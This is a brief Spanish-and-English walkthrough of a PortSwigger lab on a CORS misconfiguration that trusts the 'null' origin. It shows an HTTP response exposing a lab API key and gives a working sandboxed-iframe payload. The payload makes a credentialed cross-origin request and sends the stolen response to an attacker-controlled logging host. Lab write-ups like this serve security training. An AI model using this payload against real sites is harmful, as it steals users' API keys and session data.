CORS vulnerability with trusted null origin

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

---

https://siunam321.github.io/ctf/portswigger-labs/Cross-Origin-Resource-Sharing/cors-2/ Al agregar origin con un valor aleatorio como test.com o https://test.com se revela que utiliza whitelists de dominios, algunas apps utilizan el null como whitelist de origin para el desarrollo local.

luego de iniciar sesion y agregar el header origin con valor null, la respuestra entrega;

HTTP/2 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "0y3ZWCF4TMc7BSywPjJjXqxqbLxNLf91",
  "sessions": [
    "WEE9Y5myMUbLkKObfgSytDE4lvx1C8C8"
  ]
}

Revela lo siguiente:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

https://owlhacku.com/cors-vulnerability-with-trusted-null-origin/ para realizar el cross origin request o solicitud entre sitios que contenga el valor null en el origen se puede utilizar un iframe sandboxeado.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>

    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://<target>', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://<hacker address>:1337/log?data=' + btoa(xhr.response);
    };
    xhr.send();

</script>"></iframe>